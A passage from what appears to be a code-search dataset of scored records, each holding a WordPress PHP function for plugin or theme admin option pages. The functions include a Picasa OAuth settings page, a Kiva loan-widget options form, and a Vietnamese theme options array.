peeps\n\t\t\t\t\t\n\t\t\t\t\t// Save access token and run $cws_GPPAdmin->is_authenticated() again...\n\t\t\t\t\ttry{\t\n\t\t\t\t\t\tif( $cws_GPPAdmin->debug ) error_log( 'Storing Access Token' );\n\t\t\t\t\t\t$access_token = serialize( $cws_GPPAdmin->consumer->getAccessToken( $_GET, unserialize( $cws_GPPAdmin->request_token ) ) );\n\t\t\t\t\t\n\t\t\t\t\t\tadd_option( 'CWS-GA-ACCESS_TOKEN', $access_token ); \n\t\t\t\t\t\tdelete_option( 'CWS_GA_REQUEST_TOKEN' );\t// no longer need this token so delete it.\n\t\n\t\t\t\t\t\theader( \"Location: \" . cws_get_admin_url( '/options-general.php' ) . \"?page=cws_gpp\" );\n\t\t\t\t\t}\n\t\t\t\t\tcatch (Zend_Oauth_Exception $ex) {\n\t\t\t\t\t\t// header( \"Location: \" . cws_get_admin_url( '/options-general.php' ) . \"?page=cws_gpp\" );\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Nuke request token...\n\t\t\t\t\t\tdelete_option('CWS_GA_REQUEST_TOKEN');\t\t\t\t\t\t\n\t\t\t\t\t\terror_log( 'ERROR: ' . $ex );\n\t\t\t\t\t\theader( \"Location: \" . cws_get_admin_url( '/options-general.php' ) . \"?page=cws_gpp\" );\n\t\t\t\t\t\tdie();\t\n\t\t\t\t\t}\t\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t// If user is authenticated display options form\n\t\t\t\t\tif( $cws_GPPAdmin->is_authenticated() )\n\t\t\t\t\t{\n\t\t\t\t\t\t?>\t\t\t\t\t\t\t\n\t\t\t\t\t\t<form method=\"post\" action=\"options.php\">\n\t\t\t\t\t\t\t<?php\t\n\t\t\t\t\t\t\tif( function_exists( 'settings_fields' ) ) {\n\t\t\t\t\t\t\t\tsettings_fields( 'cws_gpp_options' );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// \n\t\t\t\t\t\t\tif( function_exists( 'do_settings_sections' ) )\t{\n\t\t\t\t\t\t\t\tdo_settings_sections( 'cws_gpp' );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tcws_gpp_setting_input();\t\t// Grab the form\t\t\t\t\t\n\t\t\t\t\t\t\tcws_gpp_meta_box_feedback();\t// Grab the meta boxes\n\t\t\t\t\t\t\t// cws_gpp_meta_box_links();\t\t// Grab the links meta boxes\t\n\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t</form>\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t<?php\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t?>\n\t\t\t\t\t<p>\n\t\t\t\t\t\t<?php _e( 'This is the preferred method of authenticating your Google Picasa account.', 'cws_gpp' ); ?> <br/>\n\t\t\t\t\t\t<?php _e( \"All authentication is taken place on Google's secure servers.\", 'cws_gpp' ); ?><br/>\n\t\t\t\t\t</p>\n\t\t\t\t\t<p>\n \t\t<?php _e( 'Clicking the \"Start the Login Process\" link will redirect you to a login page at Google.com.', 'cws_gpp' ); ?><br/>\n \t\t<?php _e( 'After accepting the login there you will be returned here.', 'cws_gpp' ); ?>\n \t</p>\n\t\t\t\t\t<?php\n\t\t\t\t\t\techo $cws_GPPAdmin->get_grant_link();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t// echo 'Display Error MEssage!';\t\t\t\n\t\t\t$WPPicasaPro->showAdminMessages( 'Param' );\n\t\t}\n?>\t\t\n\t\t</div>\n<?php\n}", "title": "" }, { "docid": "e28109b678cf44982300a98830798b4a", "score": "0.65146136", "text": "function kiva_options_page(){\n\tglobal $wpdb;\n\t// This bit stores any updated values when the Update button has been pressed\n\tif (isset($_POST['update_options'])) {\n\t\t// Fill up the options array as necessary\n\t\t$options['limit'] = $_POST['limit'];\n\t\t$options['format'] = $_POST['format'];\n\t\t$options['gender'] = $_POST['gender'];\n\t\t$options['region'] = $_POST['region'];\n\t\t$options['sector'] = $_POST['sector'];\n\n\t\t// store the option values under the plugin filename\n\t\tupdate_option(basename(__FILE__, \".php\"), $options);\n\t\t\n\t\t// Show a message to say we've done something\n\t\techo '<div class=\"updated\"><p>' . __('Options saved', 'kiva') . '</p></div>';\n\t} else {\n\t\t// If we are just displaying the page we first load up the options array\n\t\t$options = get_option(basename(__FILE__, \".php\"));\n\t}\n\t//now we drop into html to display the option page form\n\t?>\n\t\t<div class=\"wrap\">\n\t\t<h2><?php echo ucwords(str_replace('-', ' ', basename(__FILE__, \".php\"). __(' Options', 'kiva'))); ?></h2>\n\t\t<h3><a href=\"http://www.davidjmiller.org/2009/kiva/\"><?php _e('Help and Instructions', 'kiva') ?></a></h3>\n\t\t<form method=\"post\" action=\"\">\n\t\t<fieldset class=\"options\">\n\t\t<table class=\"optiontable\">\n\t\t\t<tr valign=\"top\">\n\t\t\t\t<th scope=\"row\" align=\"right\"><?php _e('Number of loans to list', 'kiva') ?>:</th>\n\t\t\t\t<td><input name=\"limit\" type=\"text\" id=\"limit\" value=\"<?php echo $options['limit']; ?>\" size=\"2\" /></td>\n\t\t\t</tr>\n\t\t\t<tr valign=\"top\">\n\t\t\t\t<th scope=\"row\" align=\"right\"><?php _e('Display format for loan list', 'kiva') ?>:</th>\n\t\t\t\t<td>\n\t\t\t\t\t<input type=\"radio\" name=\"format\" id=\"format\" value=\"image\"<?php if ($options['format'] == 'image') echo ' checked'; ?>><?php _e('Image only', 'kiva') ?></input>&nbsp;\n\t\t\t\t\t<input type=\"radio\" name=\"format\" id=\"format\" value=\"full\"<?php if ($options['format'] == 'full') echo ' checked'; ?>><?php _e('Both', 'kiva') ?></input>&nbsp;\n\t\t\t\t\t<input type=\"radio\" name=\"format\" id=\"format\" value=\"text\"<?php if ($options['format'] == 'text') echo ' checked'; ?>><?php _e('Text only', 'kiva') ?></input>&nbsp;\n\t\t\t\t</td>\n\t\t\t</tr>\n\t\t\t<tr valign=\"top\">\n\t\t\t\t<th scope=\"row\" align=\"right\"><?php _e('Gender', 'kiva') ?>:</th>\n\t\t\t\t<td>\n\t\t\t\t\t<input type=\"radio\" name=\"gender\" id=\"gender\" value=\"male\"<?php if ($options['gender'] == 'male') echo ' checked'; ?>><?php _e('Men only', 'kiva') ?></input>&nbsp;\n\t\t\t\t\t<input type=\"radio\" name=\"gender\" id=\"gender\" value=\"female\"<?php if ($options['gender'] == 'female') echo ' checked'; ?>><?php _e('Women only', 'kiva') ?></input>&nbsp;\n\t\t\t\t\t<input type=\"radio\" name=\"gender\" id=\"gender\" value=\"any\"<?php if ($options['gender'] == 'any') echo ' checked'; ?>><?php _e('Either', 'kiva') ?></input>&nbsp;\n\t\t\t\t</td>\n\t\t\t</tr>\n\t\t\t<tr valign=\"top\">\n\t\t\t\t<th scope=\"row\" align=\"right\"><?php _e('Region', 'kiva') ?>:</th>\n\t\t\t\t<td>\n\t\t\t\t\t<select name=\"region\" id=\"region\">\n\t\t\t\t\t\t<option value=\"any\"<?php if ($options['region'] == 'any') echo ' selected'; ?>><?php _e('Any', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"af\"<?php if ($options['region'] == 'af') echo ' selected'; ?>><?php _e('Africa', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"as\"<?php if ($options['region'] == 'as') echo ' selected'; ?>><?php _e('Asia', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"me\"<?php if ($options['region'] == 'me') echo ' selected'; ?>><?php _e('Middle East', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"ee\"<?php if ($options['region'] == 'ee') echo ' selected'; ?>><?php _e('Eastern Europe', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"sa\"<?php if ($options['region'] == 'sa') echo ' selected'; ?>><?php _e('South America', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"ca\"<?php if ($options['region'] == 'ca') echo ' selected'; ?>><?php _e('Central America', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"na\"<?php if ($options['region'] == 'na') echo ' selected'; ?>><?php _e('North America', 'kiva') ?></option>\n\t\t\t\t\t</select>\n\t\t\t\t</td>\n\t\t\t</tr>\n\t\t\t<tr valign=\"top\">\n\t\t\t\t<th scope=\"row\" align=\"right\"><?php _e('Sector', 'kiva') ?>:</th>\n\t\t\t\t<td>\n\t\t\t\t\t<select name=\"sector\" id=\"sector\">//personal\n\t\t\t\t\t\t<option value=\"any\"<?php if ($options['sector'] == 'any') echo ' selected'; ?>><?php _e('Any', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"agriculture\"<?php if ($options['sector'] == 'agriculture') echo ' selected'; ?>><?php _e('Agriculture', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"arts\"<?php if ($options['sector'] == 'arts') echo ' selected'; ?>><?php _e('Arts', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"clothing\"<?php if ($options['sector'] == 'clothing') echo ' selected'; ?>><?php _e('Clothing', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"construction\"<?php if ($options['sector'] == 'construction') echo ' selected'; ?>><?php _e('Construction', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"education\"<?php if ($options['sector'] == 'education') echo ' selected'; ?>><?php _e('Education', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"entertainment\"<?php if ($options['sector'] == 'entertainment') echo ' selected'; ?>><?php _e('Entertainment', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"food\"<?php if ($options['sector'] == 'food') echo ' selected'; ?>><?php _e('Food', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"health\"<?php if ($options['sector'] == 'health') echo ' selected'; ?>><?php _e('Health', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"housing\"<?php if ($options['sector'] == 'housing') echo ' selected'; ?>><?php _e('Housing', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"manufacturing\"<?php if ($options['sector'] == 'manufacturing') echo ' selected'; ?>><?php _e('Manufacturing', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"retail\"<?php if ($options['sector'] == 'retail') echo ' selected'; ?>><?php _e('Retail', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"services\"<?php if ($options['sector'] == 'services') echo ' selected'; ?>><?php _e('Services', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"transportation\"<?php if ($options['sector'] == 'transportation') echo ' selected'; ?>><?php _e('Transportation', 'kiva') ?></option>\n\t\t\t\t\t\t<option value=\"wholesale\"<?php if ($options['sector'] == 'wholesale') echo ' selected'; ?>><?php _e('Wholesale', 'kiva') ?></option>\n\t\t\t\t\t</select>\n\t\t\t\t</td>\n\t\t\t</tr>\n\t\t</table>\n\t\t</fieldset>\n\t\t<div class=\"submit\"><input type=\"submit\" name=\"update_options\" value=\"<?php _e('Update', 'kiva') ?>\" style=\"font-weight:bold;\" /></div>\n\t\t</form> \t\t\n\t</div>\n\t<?php\t\n}", "title": "" }, { "docid": "88fc5eaec4c2e3eac14b5bf7063f8ab1", "score": "0.6514166", "text": "function bh_options() {\r\n\tadd_menu_page (\r\n 'Bullhorn Options',\r\n 'Bullhorn',\r\n 'manage_options',\r\n 'wp-bullhorn/bh-options.php',\r\n '',\r\n '',\r\n '5'\r\n );\r\n}", "title": "" }, { "docid": "65a7b413563caa598d38377eb51f33dd", "score": "0.651334", "text": "public function define_options() {\n\t\t$this->options = array(\n\t\t\t'header-logged_out' => array(\n\t\t\t\t'type' => 'header',\n\t\t\t\t'value' => 'Logged out',\n\t\t\t),\n\t\t\t'logged_out_title' => array(\n\t\t\t\t'label' => 'Heading',\n\t\t\t\t'default' => 'Login',\n\t\t\t\t'type' => 'text'\n\t\t\t),\n\t\t\t'show_register_link' => array(\n\t\t\t\t'label' => 'Show Register Link',\n\t\t\t\t'default' => 1,\n\t\t\t\t'type' => 'checkbox'\n\t\t\t),\n\t\t\t'show_lost_password_link' => array(\n\t\t\t\t'label' => 'Show Lost Password Link',\n\t\t\t\t'default' => 1,\n\t\t\t\t'type' => 'checkbox'\n\t\t\t),\n\t\t\t'header-logged_in' => array(\n\t\t\t\t'type' => 'header',\n\t\t\t\t'value' => 'Logged in',\n\t\t\t),\n\t\t\t'logged_in_title' => array(\n\t\t\t\t'label' => 'Heading',\n\t\t\t\t'default' => 'Welcome, %username%',\n\t\t\t\t'type' => 'text'\n\t\t\t),\n\t\t\t'logged_in_links' => array(\n\t\t\t\t'label' => 'Links to show (<code>Text | HREF | Capability</code>)',\n\t\t\t\t'description' => '<a href=\"http://codex.wordpress.org/Roles_and_Capabilities\" target=\"_blank\">Capability</a> (optional) refers to the type of user who can view the link.<br /><br />\nAvailable tags: \n<code>%username%</code>,\n<code>%userid%</code>,\n<code>%firstname%</code>,\n<code>%lastname%</code>,\n<code>%name%</code>,\n<code>%admin_url%</code>,\n<code>%ucp_text%</code>,\n<code>%ucp_url%</code>,\n<code>%pm_text%</code> (will show new/unread PMs),\n<code>%pm_url%</code>,\n<code>%logout_text%</code>,\n<code>%logout_url%</code>,\n<code>%acp_text%</code>,\n<code>%acp_url%</code> (this link will be hidden if the user isn\\'t an administrator).',\n\t\t\t\t'default' => \"Dashboard | %admin_url%\\nAdd new post | %admin_url%/post-new.php | administrator, editor, author, contributor\\n%ucp_text% | %ucp_url%\\n%pm_text% | %pm_url%\\n%logout_text% | %logout_url%\",\n\t\t\t\t'type' => 'textarea'\n\t\t\t),\n\t\t\t'show_avatar' => array(\n\t\t\t\t'label' => 'Show avatar',\n\t\t\t\t'default' => 1,\n\t\t\t\t'type' => 'checkbox'\n\t\t\t),\n\t\t\t'avatar_size' => array(\n\t\t\t\t'label' => 'Avatar size',\n\t\t\t\t'default' => '64',\n\t\t\t\t'type' => 'number'\n\t\t\t),\n\t\t\t'avatar_style' => array(\n\t\t\t\t'label' => 'Avatar CSS',\n\t\t\t\t'default' => 'float: right; margin: 0px 0px 5px 5px',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'description' => 'Extra <a href=\"https://www.w3schools.com/css/\" target=\"_blank\">CSS</a> settings for the avatar.'\n\t\t\t),\n\t\t\t// 'header-other' => array(\n\t\t\t\t// 'type' => 'header',\n\t\t\t\t// 'value' => 'Other',\n\t\t\t// ),\n\t\t\t// 'use_stylesheet' => array(\n\t\t\t\t// 'label' => 'Use stylesheet',\n\t\t\t\t// 'default' => 1,\n\t\t\t\t// 'type' => 'checkbox'\n\t\t\t// ),\n\t\t\t// 'stylesheet' => array(\n\t\t\t\t// 'label' => 'Stylesheet',\n\t\t\t\t// 'default' => \".widget_wp_sidebarlogin, #sidebar-login {\\n\toverflow: hidden;\\n}\\n.widget_wp_sidebarlogin .avatar_container, #sidebar-login .avatar_container {\\n\tfloat:right;\\n}\\n.widget_wp_sidebarlogin ul {\\n\tlist-style: none outside !important;\\n}\\n.widget_wp_sidebarlogin .avatar_container img, #sidebar-login .avatar_container img {\\n\t/*padding: 3px;\\n\tborder: 1px solid #ddd;*/\\n\t-moz-border-radius: 4px;\\n\t-webkit-border-radius: 4px;\\n\tmargin-right: 8px;\\n\tmargin-top: 5px;\\n}\\n.widget_wp_sidebarlogin hr {\\n\tdisplay: block;\\n\tclear: both; \\n\tborder: 0; \\n\tborder-top: 1px solid #999; \\n\theight: 1px;\\n}\",\n\t\t\t\t// 'type' => 'textarea'\n\t\t\t// ),\n\t\t);\n }", "title": "" }, { "docid": "566dc510f2fe4949df489f6f54c4d4ea", "score": "0.65016335", "text": "public function admin_options() {\n\t\t$this->display_errors();\n\n\t\tparent::admin_options();\n\t}", "title": "" }, { "docid": "fccb3bfcd475649bb34e87e2ea948b05", "score": "0.65015334", "text": "function lptx_add_options_page() {\r\n\tadd_options_page( __( 'Limit Title Characters Options Page','lptx' ), 'Limit Title Characters', 'manage_options', __FILE__, 'lptx_render_form' );\r\n}", "title": "" }, { "docid": "a762723589048c0441b872fc699a01cb", "score": "0.6498015", "text": "function ab_set_options(){\n global $ab_options_set;\n\t$styles = array('blue'=>'Blue', 'orange'=>'Orange');\n\t\n $ab_options_set = array('template_styles'=>$styles,\n 'favicon'=>true,'footer_copy'=>true);\n}", "title": "" }, { "docid": "e369f3146ad7481958a6d991dcdc93cf", "score": "0.64920974", "text": "function of_options()\n\t{\n\t\t$of_categories \t\t= array(); \n\t\t$of_categories_obj \t= get_categories('hide_empty=0');\n\t\tforeach ($of_categories_obj as $of_cat) {\n\t\t $of_categories[$of_cat->cat_ID] = $of_cat->cat_name;}\n\t\t$categories_tmp \t= array_unshift($of_categories, \"Select a category:\"); \n\t \n\t\t//Access the WordPress Pages via an Array\n\t\t$of_pages \t\t\t= array();\n\t\t$of_pages_obj \t\t= get_pages('sort_column=post_parent,menu_order'); \n\t\tforeach ($of_pages_obj as $of_page) {\n\t\t $of_pages[$of_page->ID] = $of_page->post_name; }\n\t\t$of_pages_tmp \t\t= array_unshift($of_pages, \"Select a page:\"); \n\t\n\t\t//Testing \n\t\t$of_options_select \t= array(\"one\",\"two\",\"three\",\"four\",\"five\"); \n\t\t$of_options_radio \t= array(\"one\" => \"One\",\"two\" => \"Two\",\"three\" => \"Three\",\"four\" => \"Four\",\"five\" => \"Five\");\n\t\t\n\t\t//Sample Homepage blocks for the layout manager (sorter)\n\t\t$of_options_homepage_blocks = array\n\t\t( \n\t\t\t\"disabled\" => array (\n\t\t\t\t\"placebo\" \t\t=> \"placebo\", //REQUIRED!\n\t\t\t\t\"block_one\"\t\t=> \"Block One\",\n\t\t\t\t\"block_two\"\t\t=> \"Block Two\",\n\t\t\t\t\"block_three\"\t=> \"Block Three\",\n\t\t\t), \n\t\t\t\"enabled\" => array (\n\t\t\t\t\"placebo\" \t\t=> \"placebo\", //REQUIRED!\n\t\t\t\t\"block_four\"\t=> \"Block Four\",\n\t\t\t),\n\t\t);\n\n\n\t\t//Stylesheets Reader\n\t\t$alt_stylesheet_path = LAYOUT_PATH;\n\t\t$alt_stylesheets = array();\n\t\t\n\t\tif ( is_dir($alt_stylesheet_path) ) \n\t\t{\n\t\t if ($alt_stylesheet_dir = opendir($alt_stylesheet_path) ) \n\t\t { \n\t\t while ( ($alt_stylesheet_file = readdir($alt_stylesheet_dir)) !== false ) \n\t\t {\n\t\t if(stristr($alt_stylesheet_file, \".css\") !== false)\n\t\t {\n\t\t $alt_stylesheets[] = $alt_stylesheet_file;\n\t\t }\n\t\t } \n\t\t }\n\t\t}\n\n\n\t\t//Background Images Reader\n\t\t$bg_images_path = get_stylesheet_directory(). '/images/bg/'; // change this to where you store your bg images\n\t\t$bg_images_url = get_template_directory_uri().'/images/bg/'; // change this to where you store your bg images\n\t\t$bg_images = array();\n\t\t\n\t\tif ( is_dir($bg_images_path) ) {\n\t\t if ($bg_images_dir = opendir($bg_images_path) ) { \n\t\t while ( ($bg_images_file = readdir($bg_images_dir)) !== false ) {\n\t\t if(stristr($bg_images_file, \".png\") !== false || stristr($bg_images_file, \".jpg\") !== false) {\n\t\t \tnatsort($bg_images); //Sorts the array into a natural order\n\t\t $bg_images[] = $bg_images_url . $bg_images_file;\n\t\t }\n\t\t } \n\t\t }\n\t\t}\n\t\t\n\n\t\t/*-----------------------------------------------------------------------------------*/\n\t\t/* TO DO: Add options/functions that use these */\n\t\t/*-----------------------------------------------------------------------------------*/\n\t\t\n\t\t//More Options\n\t\t$uploads_arr \t\t= wp_upload_dir();\n\t\t$all_uploads_path \t= $uploads_arr['path'];\n\t\t$all_uploads \t\t= get_option('of_uploads');\n\t\t$other_entries \t\t= array(\"Select a number:\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\");\n\t\t$body_repeat \t\t= array(\"no-repeat\",\"repeat-x\",\"repeat-y\",\"repeat\");\n\t\t$body_pos \t\t\t= array(\"top left\",\"top center\",\"top right\",\"center left\",\"center center\",\"center right\",\"bottom left\",\"bottom center\",\"bottom right\");\n\t\t\n\t\t// Image Alignment radio box\n\t\t$of_options_thumb_align = array(\"alignleft\" => \"Left\",\"alignright\" => \"Right\",\"aligncenter\" => \"Center\"); \n\t\t\n\t\t// Image Links to Options\n\t\t$of_options_image_link_to = array(\"image\" => \"The Image\",\"post\" => \"The Post\"); \n\n\n/*-----------------------------------------------------------------------------------*/\n/* The Options Array */\n/*-----------------------------------------------------------------------------------*/\n\n// Set the Options Array\nglobal $of_options;\n$of_options = array();\n\n/*-----------------------------------------------------------------------------------*/\n/* Phần thiết lập chung */\n/*-----------------------------------------------------------------------------------*/\n\n\n$of_options[] = array( \"name\" \t\t=> \"THIẾT LẬP CHUNG\",\n\t\t\t\t\t \"type\" \t\t=> \"heading\",\n\t\t\t\t\t \"icon\"\t\t=> ADMIN_IMAGES . \"icon-slider.png\"\n\t\t\t\t);\n\t\t\t\t\t\n$of_options[] = array( \"name\" \t\t=> \"Hello there!\",\n\t\t\t\t\t\t\"desc\" \t\t=> \"\",\n\t\t\t\t\t\t\"id\" \t\t=> \"introduction\",\n\t\t\t\t\t\t\"std\" \t\t=> \"<h3 style=\\\"margin: 0 0 10px;\\\">Welcome to the Options</h3>\n\t\t\t\t\t\",\n\t\t\t\t\t\t\"icon\" \t\t=> true,\n\t\t\t\t\t\t\"type\" \t\t=> \"info\"\n\t\t\t\t);\n\n$of_options[] = array( \"name\" \t => \"HOTLINE\",\n\t\t\t\t\t\t\"desc\" \t => \"Số Hotline liên lạc\",\n\t\t\t\t\t\t\"id\" \t\t => \"hotline_thucuc\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"text\"\n\t\t\t\t);\n\t\t\t\t\n$of_options[] = array( \"name\" \t => \"Tel\",\n\t\t\t\t\t\t\"desc\" \t => \"Số Phone liên lạc\",\n\t\t\t\t\t\t\"id\" \t\t => \"phone_thucuc\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"text\"\n\t\t\t\t);\n\t\t\t\t\n$of_options[] = array( \"name\" \t => \"Email\",\n\t\t\t\t\t\t\"desc\" \t => \"Email của bạn\",\n\t\t\t\t\t\t\"id\" \t\t => \"email_thucuc\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"text\"\n\t\t\t\t);\t\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n$of_options[] = array( \"name\" \t => \"Website - Tên Trung Tâm\",\n\t\t\t\t\t\t\"desc\" \t => \"Website - Tên Trung Tâm của bạn\",\n\t\t\t\t\t\t\"id\" \t\t => \"site_thucuc\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"text\"\n\t\t\t\t);\t\t\t\n$of_options[] = array( \"name\" \t => \"Tel Kinh doanh\",\n\t\t\t\t\t\t\"desc\" \t => \"Số điện thoại kinh doanh giấy dán tường.\",\n\t\t\t\t\t\t\"id\" \t\t => \"kinhdoanh_tuong\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"text\"\n);\n$of_options[] = array( \"name\" \t => \"Tel Kỹ thuật\",\n\t\t\t\t\t\t\"desc\" \t => \"Số điện thoại kỹ thuật liên lạc với giấy dán tường\",\n\t\t\t\t\t\t\"id\" \t\t => \"kythuat_tuong\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"text\"\n);\t\t\t\t\t\n$of_options[] = array( \"name\" \t => \"Số điện thoại phản ánh chất lượng DV\",\n\t\t\t\t\t\t\"desc\" \t => \"Phone phản ánh chất lượng DV\",\n\t\t\t\t\t\t\"id\" \t\t => \"tag_Dv\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"text\"\n\t\t\t\t);\t\t\t\t\t\t\n$of_options[] = array( \"name\" \t => \"Tư vấn chuyên gia\",\n\t\t\t\t\t\t\"desc\" \t => \"Số điện thoại tư vấn chuyên gia\",\n\t\t\t\t\t\t\"id\" \t\t => \"tag_chuyengia\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"text\"\n);\t\t\t\t\t\t\n$of_options[] = array( \"name\" \t => \"Hotline 1\",\n\t\t\t\t\t\t\"desc\" \t => \"Hotline 1\",\n\t\t\t\t\t\t\"id\" \t\t => \"tag_hotline\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"text\"\n\t\t\t\t);\t\t\t\t\t\t\n$of_options[] = array( \"name\" \t => \"Hotline 2\",\n\t\t\t\t\t\t\"desc\" \t => \"Hotline 2\",\n\t\t\t\t\t\t\"id\" \t\t => \"tag_hotline2\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"text\"\n\t\t\t\t);\n$of_options[] = array( \"name\" \t => \"Yahoo\",\n\t\t\t\t\t\t\"desc\" \t => \"Yahoo support\",\n\t\t\t\t\t\t\"id\" \t\t => \"tag_yahoo\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"text\"\n\t\t\t\t);\t\t\t\t\t\t\t\t\n$of_options[] = array( \"name\" \t => \"Skype\",\n\t\t\t\t\t\t\"desc\" \t => \"Skype support\",\n\t\t\t\t\t\t\"id\" \t\t => \"tag_skype\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"text\"\n\t\t\t\t);\t\t\t\t\t\t\n$of_options[] = array( \"name\" \t => \"Yahoo 2\",\n\t\t\t\t\t\t\"desc\" \t => \"Yahoo support 2\",\n\t\t\t\t\t\t\"id\" \t\t => \"tag_yahoo2\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"text\"\n);\t\t\t\t\t\t\t\t\n$of_options[] = array( \"name\" \t => \"Skype 2\",\n\t\t\t\t\t\t\"desc\" \t => \"Skype support 2\",\n\t\t\t\t\t\t\"id\" \t\t => \"tag_skype2\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"text\"\n);\t\t\t\t\t\t\t\t\n$of_options[] = array( \"name\" \t => \"Thẻ H1\",\n\t\t\t\t\t\t\"desc\" \t => \"Thẻ H1\",\n\t\t\t\t\t\t\"id\" \t\t => \"tag_h1\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"text\"\n);\t\n$of_options[] = array( \"name\" \t => \"Đơn vị tính\",\n\t\t\t\t\t\t\"desc\" \t => \"Đơn vị tính\",\n\t\t\t\t\t\t\"id\" \t\t => \"donvi_tinh\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"text\"\n);\t\n$of_options[] = array( \"name\" \t => \"Giá chung\",\n\t\t\t\t\t\t\"desc\" \t => \"Giá chung\",\n\t\t\t\t\t\t\"id\" \t\t => \"donvi_chung\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"text\"\n);\t\n\n$of_options[] = array( \"name\" \t => \"Giấy dán tường theo công năng\",\n\t\t\t\t\t\t\"desc\" \t => \"Giấy dán tường theo công năng\",\n\t\t\t\t\t\t\"id\" \t\t => \"ma_giaycongnang\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"text\"\n);\t\t\t\t\t\t\t\t\n\n/*-----------------------------------------------------------------------------------*/\n/* Phần Header */\n/*-----------------------------------------------------------------------------------*/\t\t\t\t\n\t\t\t\t\n$of_options[] = array( \"name\" \t\t=> \"Header\",\n\t\t\t\t\t \"type\" \t\t=> \"heading\"\n\t\t\t\t);\t\t\t\t\n$of_options[] = array( \"name\" \t\t=> \"Logo Image\",\n\t\t\t\t\t\t\"desc\" \t\t=> \"Upload logo cho website của bạn.\",\n\t\t\t\t\t\t\"id\" \t\t=> \"logo_img\",\n\t\t\t\t\t\t// Use the shortcodes [site_url] or [site_url_secure] for setting default URLs\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"upload\"\n\t\t\t\t);\t\n$of_options[] = array( \"name\" \t\t=> \"Favicon Image\",\n\t\t\t\t\t\t\"desc\" \t\t=> \"Upload Favicon cho website của bạn.\",\n\t\t\t\t\t\t\"id\" \t\t=> \"favicon_img\",\n\t\t\t\t\t\t// Use the shortcodes [site_url] or [site_url_secure] for setting default URLs\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"upload\"\n\t\t\t\t);\n\t\t\t\t\n$of_options[] = array( \"name\" \t\t=> \"Slogan\",\n\t\t\t\t\t\t\"desc\" \t\t=> \"Thêm slogan vào dưới icon của bạn.\",\n\t\t\t\t\t\t\"id\" \t\t=> \"slogan_tgb\",\n\t\t\t\t\t\t// Use the shortcodes [site_url] or [site_url_secure] for setting default URLs\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"text\"\n\t\t\t\t);\t\t\t\t\t\t\t\t\t\t\t\n/*-----------------------------------------------------------------------------------*/\n/* Phần Footer */\n/*-----------------------------------------------------------------------------------*/\n$of_options[] = array( \"name\" \t\t=> \"Footer\",\n\t\t\t\t\t \"type\" \t\t=> \"heading\"\n\t\t\t\t);\t\t\t\t\n\n$of_options[] = array( 